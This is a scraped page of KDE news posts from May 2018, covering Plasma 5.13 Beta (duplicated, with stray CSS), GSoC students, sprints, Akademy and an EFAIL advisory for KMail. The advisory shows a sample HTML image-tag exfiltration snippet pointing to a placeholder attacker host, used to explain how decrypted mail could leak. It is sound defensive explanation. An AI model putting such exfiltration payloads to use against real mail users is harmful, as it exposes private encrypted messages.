We discussed other ways of indirectly increasing the popularity of KDE, including working with journalists, bloggers and vloggers from outside of our community. We started brainstorming a list of "influencers", journalists and publications.

*/ Do you know somebody with a solid audience on the fringes of open sourcedom that could influence a large group of people? Go and add them to the list.

We also want to improve our presence in businesses. To do that, we would first have to approach businesses and contractors that already work with KDE/Qt-based technologies. The idea is to get them on board and create a marketplace/support network that other companies can rely on when considering a migration to desktop Linux.

While brainstorming other ways to increase awareness, we realized we could improve videos and help them reach a wider audience by adding subtitles. If you would like to help creating subtitles in your language, sign up for the video group and tell us what you can do.

Conclusion


So much stuff still needs to be done...

This was an intense and intensive sprint. The full list of topics we discussed is longer than this report, but we managed to devote enough time to the most pressing issues. We came up with ideas for targets and ways to work towards them that will translate into real results. We are now progressively implementing tasks that will help us reach those targets, but we need your help.

If you think you can help us achieve our goals, please join the Promo group. We have a mailing list, IRC channel, and a Telegram group. You can also take a look at our workboard and leave your feedback on tasks that are in progress.

Developing KDE's software is super-important, but so is spreading the message that the software exists and that everybody, regardless of their level of computer-literacy, can and should use it. That is what the Promo team is all about, and we will keep practicing what we preach.

Plasma 5.13 Beta

Pet, 05/18/2018 - 15:39
"; font-family: "glyph"; font-size: 60%; vertical-align: middle; margin: 0px 5px; } .releaseAnnouncment img { border: 0px; } .get-it { border-top: solid 1px #eff1f1; border-bottom: solid 1px #eff1f1; padding: 10px 0px 20px; margin: 10px 0px; } .releaseAnnouncment ul { list-style-type: none; padding-left: 40px; } .releaseAnnouncment ul li { position: relative; } .releaseAnnouncment ul li:before { content: ">"; font-family: "glyph"; font-size: 60%; position: absolute; top: .8ex; left: -20px; font-weight: bold; color: #3bb566; } .give-feedback img { padding: 0px; margin: 0px; height: 2ex; width: auto; vertical-align: middle; } figure { position: relative; z-index: 2; font-size: smaller; text-shadow: 2px 2px 5px light-grey; } /*-->*/





KDE Plasma 5.13 Beta

Thursday, 17 May 2018. Today KDE unveils a beta release of Plasma 5.13.0.

Members of the Plasma team have been working hard to continue making Plasma a lightweight and responsive desktop which loads and runs quickly, but remains full-featured with a polished look and feel. We have spent the last four months optimising startup and minimising memory usage, yielding faster time-to-desktop, better runtime performance and less memory consumption. Basic features like panel popups were optimised to make sure they run smoothly even on the lowest-end hardware. Our design teams have not rested either, producing beautiful new integrated lock and login screen graphics.


New in Plasma 5.13


Plasma Browser Integration

Plasma Browser Integration is a suite of new features which make Firefox and Chrome, and Chromium-based browsers work with your desktop. Downloads are now displayed in the Plasma notification popup just as when transferring files with Dolphin. The Media Controls Plasmoid can mute and skip videos and music playing from within the browser. You can send a link to your phone with KDE Connect. Browser tabs can be opened directly using KRunner via the Alt-Space keyboard shortcut. To enable Plasma Browser Integration, add the relevant plugin from the addon store of your favourite browser.




   



Plasma Browser Integration for Downloads and Media Controls


System Settings Redesigns

Our settings pages are being redesigned. The KDE Visual Design Group has reviewed many of the tools in System Settings and we are now implementing those redesigns. KDE's Kirigami framework gives the pages a slick new look. We started off with the theming tools, comprising the icons, desktop themes, and cursor themes pages. The splash screen page can now download new splashscreens from the KDE Store. The fonts page can now display previews for the sub-pixel anti-aliasing settings.











Redesigned System Settings Pages


New Look for Lock and Login Screens

Our login and lock screens have a fresh new design, displaying the wallpaper of the current Plasma release by default. The lock screen now incorporates a slick fade-to-blur transition to show the controls, allowing it to be easily used like a screensaver.








Lock and Login Screen new Look







Improved Blur Effect in the Dash Menu

Graphics Compositor

Our compositor KWin gained much-improved effects for blur and desktop switching. Wayland work continued, with the return of window rules, the use of high priority EGL Contexts, and initial support for screencasts and desktop sharing.







Discover's Lists with Ratings, Themed Icons, and Sorting Options

Discover

Discover, our software and addon installer, has more features and sports improvements to the look and feel.

Using our Kirigami UI framework we improved the appearance of lists and category pages, which now use toolbars instead of big banner images. Lists can now be sorted, and use the new Kirigami Cards widget. Star ratings are shown on lists and app pages. App icons use your local icon theme better match your desktop settings. All AppStream metadata is now shown on the application page, including all URL types. And for users of Arch Linux, the Pacman log is now displayed after software updates.

Work has continued on bundled app formats. Snap support now allows user control of app permissions, and it's possible to install Snaps that use classic mode. And the 'snap://' URL format is now supported. Flatpak support gains the ability to choose the preferred repository to install from when more than one is set up.


Much More

Other changes include:

  • A tech preview of GTK global menu integration.
  • Redesigned Media Player Widget.
  • Plasma Calendar plugin for astronomical events, currently showing: lunar phases & astronomical seasons (equinox, solstices).
  • xdg-desktop-portal-kde, used to give desktop integration for Flatpak and Snap applications, gained support for screenshot and screencast portals.
  • The Digital Clock widget allows copying the current date and time to the clipboard.
  • The notification popup has a button to clear the history.
  • More KRunner plugins to provide easy access to Konsole profiles and the character picker.
  • The Mouse System Settings page has been rewritten for libinput support on X and Wayland.
  • Plasma Vault has a new CryFS backend, commands to remotely close open vaults with KDE Connect, offline vaults, a more polished interface and better error reporting.
  • A new dialog pops up when you first plug in an external monitor so you can easily configure how it should be positioned.
  • Plasma gained the ability to fall back to a software rendering if OpenGL drivers unexpectedly fail.




  


  



GEdit with Title Bar Menu. Redesigned Media Player Widget. Connect an External Monitor Dialog.



Live Images

The easiest way to try it out is with a live image booted off a USB disk. Docker images also provide a quick and easy way to test Plasma.

Download live images with Plasma 5
Download Docker images with Plasma 5

Package Downloads

Distributions have created, or are in the process of creating, packages listed on our wiki page.

Package download wiki page

Source Downloads

You can install Plasma 5 directly from source.

Community instructions to compile it
Source Info Page

Feedback

You can give us feedback and get updates on Facebook
or Twitter
or Google+.

Discuss Plasma 5 on the KDE Forums Plasma 5 board.

You can provide feedback direct to the developers via the #Plasma IRC channel, Plasma-devel mailing list or report issues via bugzilla. If you like what the team is doing, please let them know!

Your feedback is greatly appreciated.

Plasma 5.13 Beta

Pet, 05/18/2018 - 15:39
"; font-family: "glyph"; font-size: 60%; vertical-align: middle; margin: 0px 5px; } .releaseAnnouncment img { border: 0px; } .get-it { border-top: solid 1px #eff1f1; border-bottom: solid 1px #eff1f1; padding: 10px 0px 20px; margin: 10px 0px; } .releaseAnnouncment ul { list-style-type: none; padding-left: 40px; } .releaseAnnouncment ul li { position: relative; } .releaseAnnouncment ul li:before { content: ">"; font-family: "glyph"; font-size: 60%; position: absolute; top: .8ex; left: -20px; font-weight: bold; color: #3bb566; } .give-feedback img { padding: 0px; margin: 0px; height: 2ex; width: auto; vertical-align: middle; } figure { position: relative; z-index: 2; font-size: smaller; text-shadow: 2px 2px 5px light-grey; } /*-->*/





KDE Plasma 5.13 Beta

Thursday, 17 May 2018. Today KDE unveils a beta release of Plasma 5.13.0.

Members of the Plasma team have been working hard to continue making Plasma a lightweight and responsive desktop which loads and runs quickly, but remains full-featured with a polished look and feel. We have spent the last four months optimising startup and minimising memory usage, yielding faster time-to-desktop, better runtime performance and less memory consumption. Basic features like panel popups were optimised to make sure they run smoothly even on the lowest-end hardware. Our design teams have not rested either, producing beautiful new integrated lock and login screen graphics.


New in Plasma 5.13


Plasma Browser Integration

Plasma Browser Integration is a suite of new features which make Firefox and Chrome, and Chromium-based browsers work with your desktop. Downloads are now displayed in the Plasma notification popup just as when transferring files with Dolphin. The Media Controls Plasmoid can mute and skip videos and music playing from within the browser. You can send a link to your phone with KDE Connect. Browser tabs can be opened directly using KRunner via the Alt-Space keyboard shortcut. To enable Plasma Browser Integration, add the relevant plugin from the addon store of your favourite browser.




   



Plasma Browser Integration for Downloads and Media Controls


System Settings Redesigns

Our settings pages are being redesigned. The KDE Visual Design Group has reviewed many of the tools in System Settings and we are now implementing those redesigns. KDE's Kirigami framework gives the pages a slick new look. We started off with the theming tools, comprising the icons, desktop themes, and cursor themes pages. The splash screen page can now download new splashscreens from the KDE Store. The fonts page can now display previews for the sub-pixel anti-aliasing settings.











Redesigned System Settings Pages


New Look for Lock and Login Screens

Our login and lock screens have a fresh new design, displaying the wallpaper of the current Plasma release by default. The lock screen now incorporates a slick fade-to-blur transition to show the controls, allowing it to be easily used like a screensaver.








Lock and Login Screen new Look







Improved Blur Effect in the Dash Menu

Graphics Compositor

Our compositor KWin gained much-improved effects for blur and desktop switching. Wayland work continued, with the return of window rules, the use of high priority EGL Contexts, and initial support for screencasts and desktop sharing.







Discover's Lists with Ratings, Themed Icons, and Sorting Options

Discover

Discover, our software and addon installer, has more features and sports improvements to the look and feel.

Using our Kirigami UI framework we improved the appearance of lists and category pages, which now use toolbars instead of big banner images. Lists can now be sorted, and use the new Kirigami Cards widget. Star ratings are shown on lists and app pages. App icons use your local icon theme better match your desktop settings. All AppStream metadata is now shown on the application page, including all URL types. And for users of Arch Linux, the Pacman log is now displayed after software updates.

Work has continued on bundled app formats. Snap support now allows user control of app permissions, and it's possible to install Snaps that use classic mode. And the 'snap://' URL format is now supported. Flatpak support gains the ability to choose the preferred repository to install from when more than one is set up.


Much More

Other changes include:

  • A tech preview of GTK global menu integration.
  • Redesigned Media Player Widget.
  • Plasma Calendar plugin for astronomical events, currently showing: lunar phases & astronomical seasons (equinox, solstices).
  • xdg-desktop-portal-kde, used to give desktop integration for Flatpak and Snap applications, gained support for screenshot and screencast portals.
  • The Digital Clock widget allows copying the current date and time to the clipboard.
  • The notification popup has a button to clear the history.
  • More KRunner plugins to provide easy access to Konsole profiles and the character picker.
  • The Mouse System Settings page has been rewritten for libinput support on X and Wayland.
  • Plasma Vault has a new CryFS backend, commands to remotely close open vaults with KDE Connect, offline vaults, a more polished interface and better error reporting.
  • A new dialog pops up when you first plug in an external monitor so you can easily configure how it should be positioned.
  • Plasma gained the ability to fall back to a software rendering if OpenGL drivers unexpectedly fail.




  


  



GEdit with Title Bar Menu. Redesigned Media Player Widget. Connect an External Monitor Dialog.



Live Images

The easiest way to try it out is with a live image booted off a USB disk. Docker images also provide a quick and easy way to test Plasma.

Download live images with Plasma 5
Download Docker images with Plasma 5

Package Downloads

Distributions have created, or are in the process of creating, packages listed on our wiki page.

Package download wiki page

Source Downloads

You can install Plasma 5 directly from source.

Community instructions to compile it
Source Info Page

Feedback

You can give us feedback and get updates on Facebook
or Twitter
or Google+.

Discuss Plasma 5 on the KDE Forums Plasma 5 board.

You can provide feedback direct to the developers via the #Plasma IRC channel, Plasma-devel mailing list or report issues via bugzilla. If you like what the team is doing, please let them know!

Your feedback is greatly appreciated.

Welcome Our New Google Summer of Code Students

Pet, 05/18/2018 - 01:00

KDE Student Programs is happy to present our 2018 Google Summer of Code students to the KDE Community.

Welcome Abhijeet Sharma, Aman Kumar Gupta, Amit Sagtani, Andrey Cygankov, Andrey Kamakin, Anmol Gautam, Caio Jordão de Lima Carvalho, Chinmoy Ranjan Pradhan, Csaba Kertesz, Demetrio Carrara, Dileep Sankhla, Ferencz Kovács, Furkan Tokac, Gun Park, Iván Yossi Santa María González, Kavinda Pitiduwa Gamage, Mahesh S Nair, Tarek Talaat, Thanh Trung Dinh, Yihang Zhou, and Yingjie Liu!


KDE Google Summer of Code mentors at Akademy 2017. Photo by Bhushan Shah.


Students will work on
improving KStars for Android.

This year digiKam, KDE's professional photo management application, has three students: Tarek Talaat will be working on supporting Twitter and One Drive services in digiKam export, Thanh Trung Dinh on Web Services tools authentication with OAuth2, and Yingjie Liu on adding the possibility to manually sort the digiKam icon view.

Plasma, KDE's graphical desktop environment, will also be mentoring three students. Abhijeet Sharma will be working on fwupd integration with Discover (KDE's graphical software manager), Furkan Tokac will improve handling for touchpads and mice with Libinput, and Gun Park will port keyboard input modules to Qt Quick and expand scope to cover input method configuration for System Settings.

Another project with three students is Krita, KDE's popular graphic editor and painting application. Andrey Kamakin will improve multithreading in Krita's Tile Manager; Iván Yossi Santa María González (ivanyossi) will optimize Krita Soft, Gaussian and Stamp brushes mask generation to use AVX with Vc Library; and Yihang Zhou (Michael Zhou) is creating a Swatches Docker for Krita.

GCompris, the suite of educational programs and games for young learners, takes two students: Aman Kumar Gupta will port all GTK+ piano activities and get it one step closer to version 1.0, and Amit Sagtani will work on creating bitmap drawing and animation activities while preparing Gcompris for version 1.0.

Labplot, KDE's application for scientific data plotting and analysis, also mentors two students. Andrey Cygankov will add support for import data from web-service in LabPlot, and Ferencz Kovács will be working on plotting of live MQTT data.


Falkon, a new member of the KDE family,
will also get some GSoC love.

Okular, KDE's PDF and document viewer, gets another two students: Chinmoy Ranjan Pradhan will be working on verifying signatures of PDF files, while Dileep Sankhla will implement the FreeText annotation with FreeTextTypeWriter behavior.

For Falkon, a community developed web browser and a new member of the KDE family, Anmol Gautam will be working on JavaScript/QML extension support, and Caio Jordão de Lima Carvalho will finish LVM support and implement RAID support in KDE Partition Manager and Calamares (an advanced system installer).

Csaba Kertesz (kecsap) will aim to improve the desktop and the Android version of KStars, KDE's planetarium program, while Kavinda Pitiduwa Gamage will work on KGpg, KDE's graphical key management application, to make it better.

Mahesh S. Nair will expand Peruse Creator, adding more features to KDE's easy-to-use comic book reader. Finally, Demetrio Carrara will be working on the WikitoLearn production-ready Progressive Webapp (PWA).

Traditionally, Google Summer of Code starts with an introduction period where students get to know their mentors, after which they start coding. The coding period for 2018 has began on May 14, and will last until August 6. We wish all our students a productive, successful, and fun summer!

EFAIL and KMail

Tor, 05/15/2018 - 07:34

On Monday, a security vulnerability in the OpenPGP and S/MIME email encryption standards and the email clients using those, called EFAIL was published.

What is this about and how is KMail affected? (Spoiler: KMail users are safe by default.)

Encrypted Email

The discovered vulnerability affects the OpenPGP and S/MIME standards used for end-to-end encryption of emails that specifically encrypts emails for the intended receivers. This is not to be confused with transport encryption (typically TLS) that is used universally when communicating with an email server. Users not using OpenPGP and S/MIME are not affected by this vulnerability.

End-to-end encryption is usually employed to prevent anyone different from the intended receiver from accessing message content, even if they somehow manage to intercept or accidentally receive an email. The EFAIL attack does not attempt
to break that encryption itself. Instead, it applies some clever techniques to trick the intended receiver into decrypting the message, and then sending the clear text content back to the attacker.

KMail relies on GnuPG for the OpenPGP and S/MIME handling, so you might also be interested in the GnuPG team's statement on EFAIL.

Exfiltration Channels

The EFAIL research paper proposes several exfiltration channels for returning the clear text content. The easiest one to understand is by exploiting the HTML capabilities of email clients. If not properly controlled, HTML email messages can download external resources, such as images, while displaying an email - a feature often used in corporate environments.

Considerably simplified, the idea is to add additional encrypted content around an intercepted encrypted message. The whole procedure for doing this is quite elaborate and explained in depth in the paper. Let's assume an attacker manages to prefix an intercepted encrypted email with the (encrypted) string "<img src='http://my.site/?" and append an extra "'/>". The result would look something like this, after decryption by the receiver:

Attacker inserted Original content <img src="http://my.site/? SomeTopSecretText "/>

An email client that unconditionally retrieves content from the Internet while displaying HTML emails would now leak the email content as part of an HTTP GET request to an attacker controlled web server - game over.

OpenPGP

The OpenPGP standard has a built-in detection mechanism for manipulations of the encrypted content. This provides effective protection against this attack. KMail, or rather the GnuPG stack KMail uses for email cryptography, does make use of this correctly. Not all email clients tested by the EFAIL authors seem to do this correctly, though. Notwithstanding, your OpenPGP encrypted emails are safe from this attack if you use KMail.

S/MIME

The situation with S/MIME is more difficult, as S/MIME itself does not have any integrity protection for the encrypted content, leaving email clients with no way to detect the EFAIL attack. That's a conceptual weakness of S/MIME that can only really be fixed by moving to an improved standard.

Fortunately, this does not mean that your S/MIME encrypted emails cannot be protected in KMail. By default, KMail does not retrieve external content for HTML emails. It only does that if you either explicitly trigger this for an individual email by clicking the red warning box at the top of emails which informs of external content, or if you enable this unconditionally via Settings > Configure KMail > Security > Reading > Allow messages to load external references from the Internet. Starting with version 18.04.01, the latter setting will be ignored for S/MIME encrypted content as an additional precaution. For older versions, we recommend you make sure this setting is disabled.

Furthermore, distribution maintainers can get patches to solve this problem from here:

https://phabricator.kde.org/D12391
https://phabricator.kde.org/D12393
https://phabricator.kde.org/D12394

CRL and OCSP

In order to revoke compromised signing keys, S/MIME relies on certificate revocation lists (CRLs) or the online certificate status protocol (OCSP). These two mechanisms consult an online server defined by the authority managing the
respective keys. The EFAIL paper suggests that this might be another possible exfiltration channel, as well as HTML. However, this hasn't been demonstrated yet, and the GnuPG team thinks it is unlikely to work. It is also a relevant piece
of the S/MIME security model, so simply disabling this as a precaution has security implications, too.

Therefore, we have not changed the default settings for this in KMail at this point. The reason is because compromised and thus revoked keys seem to be the more common concern than an elaborate targeted attack that would employ CRL or OCSP as an exfiltration channel (if possible at all). You'll find the corresponding settings for the CRL and OCSP usage under Settings > Configure KMail > Security > S/MIME Validation should you want to review or change them.

Conclusion

Research in email client and email cryptography security is very much appreciated and badly needed, considering how prevalent email is in our daily communication. As the results show, S/MIME is showing its age and is in need of conceptual improvements. Also, EFAIL again highlights the dangers to privacy caused by HTML emails with external references. Most importantly, this shows that your emails are well-protected by KMail and GnuPG, and there is certainly no reason to panic and stop using email encryption.

Akademy 2019 Call for Hosts

Tor, 05/15/2018 - 01:00

The organization of this year's Akademy is in full swing: the official conference program is out, we have had an insightful interview with one of the keynote speakers, another is coming soon, and attendees are already booking flights and accommodation. The #akademy IRC channel on Freenode and the Telegram group are buzzing with messages, advice and recommendations.

That said, it's not too early to start planning for Akademy 2019!

In fact, we are now opening the Akademy 2019 Call for Hosts, and looking for a vibrant spot and an enthusiastic crew that will host us.

Would you like to bring Akademy, the biggest KDE event, to your country? Read on to find out how to apply!



In 2005, Akademy took place in beautiful Málaga, Spain. Photo by Paolo Trabbatoni. A Bit About Akademy


The venue of Akademy 2014 in Brno, Czech Republic.
Photo by Kevin Funk.

Akademy is KDE's annual get-together where our creativity, productivity and community-bonding reach their peak. Developers, users, translators, students, artists, writers - pretty much anyone who has been involved with KDE - will join Akademy to participate and learn. Contents will range from keynote speeches and two days of dual track talks by the FOSS community, to workshops and Birds of a Feather (BoF) sessions where we plot the future of the project.

The first day serves as a welcoming event. The next two days cover the keynote speakers and other talks. The remaining days are used for BoF sessions, intensive coding and workshops for smaller groups of 10 to 30 people. One of the workshop days is reserved for a day trip, so the attendees can see the local tourist attractions.

What You Get as a Host

Hosting Akademy is a great way to contribute to a movement of global collaboration. You get a chance to host one of the world's largest FOSS communities with contributors from across the globe, and witness a wonderful week of intercultural collaboration in your home town.

You'll get significant exposure to the Free Software community, and develop an understanding of how large projects operate. It is a great opportunity for the local university students, professors, technology enthusiasts and professionals to try their hand at something new.

What We Need from a Host


Ten years ago we gathered in Sint-Katelijne-Waver,
Belgium for this cool group photo.

Akademy requires a location close to an international airport, with an appropriate conference venue that is easy to reach. Organizing Akademy is a demanding task, but you’ll be guided along the entire process by people who’ve been doing it for years. Nevertheless, the local team should be prepared to invest a considerable amount of time into organizing Akademy.

For detailed information, please see the Call for Hosts. Questions and applications should be addressed to the Board of KDE e.V. or the Akademy Team.

Please indicate your interest in hosting Akademy to the Board of KDE e.V. by June 15st.
Full applications will be accepted until 15th July.

We look forward to your ideas, and can't wait to have fun at Akademy 2019 in your city!

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Plasma Sprint in Berlin

Pon, 05/14/2018 - 01:00

Last month the developers of Plasma, KDE's featureful, flexible and Free desktop environment, held a sprint in Berlin, Germany. The developers gathered to discuss the forthcoming 5.13 release and future development of Plasma. Of course, they didn't just sit and chat - a lot of coding got done, too.

During the sprint, the Plasma team was joined by guests from Qt and Sway WM. Discussion topics included sharing Wayland protocols, input methods, Plasma Browser Integration, tablet mode for Plasma's shell, porting KControl modules to QtQuick, and last but not least, the best beer in Berlin.



Plasma Team Sprinting Constructive Discussions with SwayWM - Check!

The effort to port Plasma to work on Wayland rather than X continues at a fast pace. Wayland protocols define how applications interact with the display, including tasks essential to Plasma such as declaring which "window" is really a panel. These protocols have to be defined by the Plasma team and preferably standardized with other users of the Linux desktop.

One newcomer to the field is SwayWM - a Wayland version of the i3 window manager. Drew DeVault, the lead developer of the project, joined our Plasma sprint to discuss where Wayland procotols could be shared. The team looked at their Layer Protocol, which covers much of the work of the current plasmashell protocol. We found that this protocol contains some nice ideas and suggested some improvements for the SwayWM developers.

The Plasma Output Management Protocol was also discussed. This protocol defines how external monitors are used, and Sway currently just reloads configuration files as needed. The team will consider this solution if the need for such a protocol arises. Protocols for Remote Access were compared and reviewed along with Pipewire as systems for managing audio and video. Drew wrote a blog post with more information on this topic.



Plasma Team Sprinting Exciting Collaboration with Qt - Check!

Shawn Rutledge, the lead developer of Qt's new input stack, also joined us for a few days of the sprint. Together, we reviewed the new API and looked at how some of the unique use-cases of Plasma would work with it. The conclusion was that "some parts, including complex drag-and-drop actions, went surprisingly smoothly".

A bunch of design changes were suggested and improvements submitted. Working with Qt developers at this early stage is a great win for both projects, as it saves KDE developers a lot of time when they come to use the new features, while the Qt world gets a nicer result.



Thanks to Endocode for hosting us in central Berlin. Improved Plasma Browser Integration - Check!

Plasma Browser Integration is a fun new feature that will be shipped with Plasma 5.13 next month.

It means Firefox and Chrome/Chromium will use Plasma's file transfer widget for downloads and native Plasma notifications for browser notifications. Moreover, media controls will work with the task manager.

The browser extensions were tidied up, translations fixed, and accounts on the relevant browser store websites set up. Another decision made at the sprint was that we have a collective duty to make sure KDE's new web browser Falkon is at feature-parity in terms of Plasma integration.



Plasma running on a Pinebook Plasma on Pinebook and Tablet Mode - Check!

The team continued to work on convergence with other form factors - in other words, on making Plasma run seamlessly on a variety of devices, both desktop and mobile. Bhushan worked on Plasma Mobile images for devices which supports upstream kernel, which is essential for security and more up-to-date system on mobile devices.

Rohan worked on making Plasma run smoothly and with all Free drivers on the low-end Pinebook laptop. This goes to show that Plasma can function as a lightweight desktop environment without losing the features.

Lastly, Marco managed to get Plasma working on a convertible laptop with support for switching into tablet mode, illustrating how we can actively shift between form factors.



Presenting to FSFE members Talks, Burritos, and Beer - Check!

Throughout the week, we also gave talks to our host company Endocode who kindly lent us their central Berlin offices, complete with a fridge full of alcohol-free beer.

We also hosted an evening meetup for the local group of Free Software Foundation Europe members and gave some talks over burritos.

Special thanks to long-term KDE contributor Mirko of Endocode, who impressed us with his multi-monitor multi-activity high-definition display Plasma setup.

Having checked off all the items on our to-do list, we concluded another successful Plasma sprint. Look forward to seeing the results of our work in the upcoming Plasma 5.13 release!



Plasma Team Closing the Sprint with Fine Dining

Kdenlive Sprint - The Movie

Sob, 05/12/2018 - 01:00

Kdenlive is KDE's advanced video-editor. This April, members of the Kdenlive project met up for five days - from 25th to the 29th - for their spring sprint. The developers Jean-Baptiste Mardelle and Nicolas Carion, along with professional community videomakers Farid Abdelnour, Rémi Duquenne and Massimo Stella, got together at the Carrefour Numérique in Paris to push the project forward.

This is what happened...

The Plot

Despite a very busy agenda, which included pitching Kdenlive to the general public, the attendees managed to work some new features into the code. For example, the next version of Kdenlive that hits your distro will include a feature that will automatically split video and audio tracks by default into separate tracks. This saves time, since the workflows for editing video and audio are substantially different, and editors often have to separate tracks to work on them individually anyway.



Your browser does not support the video tag.

The toolbar that overlays monitors got a makeover and now supports multiple layout guides. The toolbar is translucent, so you can still see what is going on in the clip, and only appears when you move the mouse to the upper right corner of the monitor. This not only looks cool (very important!), but also makes it practical, since it is invisible most of the time, not blocking your view of the clip.



Your browser does not support the video tag.

Apart from coding in new features, the team held two public sessions. First they talked with potential contributors. This had an immediate effect, as Camille took it on himself to update the project's wiki, and Elie submitted a patch which added the possibility to manage and download keyboard shortcut templates of other video editors such as Avid, Final Cut and Adobe Premiere Pro. This means an editor used to working with closed-source alternatives will immediately feel at home with Kdenlive.

The second public event was with video-editing enthusiasts. The audience had the opportunity to see Kdenlive in action and find out more about the software, as well as talk with the developers.

Coming to a Theatre Near You

Apart from the incremental improvements that have already made their way into the beta versions of Kdenlive's next release, more exciting features are on the way. During the the sprint, the developers agreed on a roadmap of where they want to take Kdenlive next, and made a priority of incorporating Advanced Trimming and Single Track Transitions in the upcoming releases.

Advanced trimming allows you to roll, ripple, slip or slide a clip between two existing ones. This lets you drop a clip onto a track and have the surrounding clips behave in different ways, cropping or displacing frames automatically according to what you want to do. With Single Track Transitions, on the other hand, you can overlap one clip onto another on the same track and apply a transition between the two, instead of having to figure out transitions across several tracks.

More longer term goals include Multicam Editing. This comes in handy when you have filmed the same event from different angles with more than one camera. Kdenlive will help you sync up the action so you can cut from one to the other seamlessly. Another goal is to support faster renders, splitting the workload between the multiple cores most modern computers come with, as well as sending heavy workloads off to the GPU.


This is what a multicam workflow may look like in Kdenlive.

One final thing to look forward to is the integration of Kdenlive with other Free Software video- and audio-editing tools. The developers are looking at Blender, Natron and Ardour, as well as graphics-editing tools like GIMP, Krita and Inkscape. The plan is to incorporate their special and specific features into Kdenlive and make sure all these tools can work seamlessly together. This would mean, for example, that you could create a 3D text effect in Blender and bridge it into Kdenlive without having to go through time-consuming exports and imports. Or you could edit a sequence in Kdenlive and frameserve it to do the compositing in Natron.

End Credits

As with many Free Software projects, the Kdenlive team can always use more contributors. New developers can help get features incorporated sooner and bugs squashed more efficiently. Documenters and translators can help make the guides, manuals and websites more accessible to a larger audience. Join the mailing list, Telegram group, or drop by the #kdenlive channel on Freenode to find out how you, too, can help.

You can also support Kdenlive by supporting KDE: donate and help make more sprints like this one possible.

Kdenlive is already a very capable video-editor, but the work the team is carrying out promises to make it a world-class tool that both aficionados and professionals can use. The latest version of Kdenlive is available in many distributions, as well as in AppImage and Flatpak formats. Vincent Pinon is also working on the Windows port which is currently in a Beta stage.

Head over to Kdenlive's download page and get editing!

You can read more about the Kdenlive's sprint here.

The Akademy 2018 program is now available

Čet, 05/03/2018 - 01:00

Akademy 2018 organisers have published the program for the conference part of the event. This year the event will be held in Vienna, and talks will take place on the 11th and 12th of August.


Dan Bielefeld

On the 11th, the keynote speaker will be Dan Bielefeld, an activist working for a South Korean NGO, who will be talking about how they use technology to expose atrocities committed by the North Korean regime.

On a slightly lighter note, Lydia Pintscher and Bhushan Shah will host a panel discussion between the KDE Community and KDE Student programs team on how to recruit new contributors; Ivana Isadora Devcic will tell us of the five ways in which release notes can be made better; Timothée Giet will try to answer the question of how to improve the experience for all kinds of media creators coming to GNU/Linux and the Plasma Desktop; and Lays Rodrigues will explain how Atelier offers a solution to control many 3D printers easily; among many other things.

On the 12th we'll delve deep into AI assistants on the desktop with Aditya Mehra's talk on his implementation of the Mycroft AI.
A little later, Thomas Pfeiffer will be telling us about how to carry out low-cost, low-effort user testing to improve KDE's products by using Guerilla Usability Testing; Attila Szollosi will bring us up to date on the topic of Linux on mobile with his presentation on postmarketOS; and, talking of embedded, Volker Krause will present the current state of KDE Frameworks packages for Yocto.


VVAVE

Of course, there will be plenty of talks about apps, from video-editing with Kdenlive, to music collating with VVAVE, and image management with DigiKam.

The rest of the week will be taken up by BoF sessions, workshops and sprints, in which KDE community members will be working elbow-to-elbow and learning from each other, intent on building a better KDE for everybody.

Registration for Akademy 2018 is now open, and don't forget to book your accommodation soon, as Vienna is a busy location. Besides, if you book by email and use our discount code, you will be able to get rooms close to other Akademy participants and truly enjoy this one-of-a-kind community event.

About Akademy

For most of the year, KDE—one of the largest free and open software communities in the world—works on-line by email, IRC, forums and mailing lists. Akademy provides all KDE contributors the opportunity to meet in person to foster social bonds, work on concrete technology issues, consider new ideas, and reinforce the innovative, dynamic culture of KDE. Akademy brings together artists, designers, developers, translators, users, writers, sponsors and many other types of KDE contributors to celebrate the achievements of the past year and help determine the direction for the next year. Hands-on sessions offer the opportunity for intense work bringing those plans to reality. The KDE Community welcomes companies building on KDE technology, and those that are looking for opportunities. For more information, please contact The Akademy Team.

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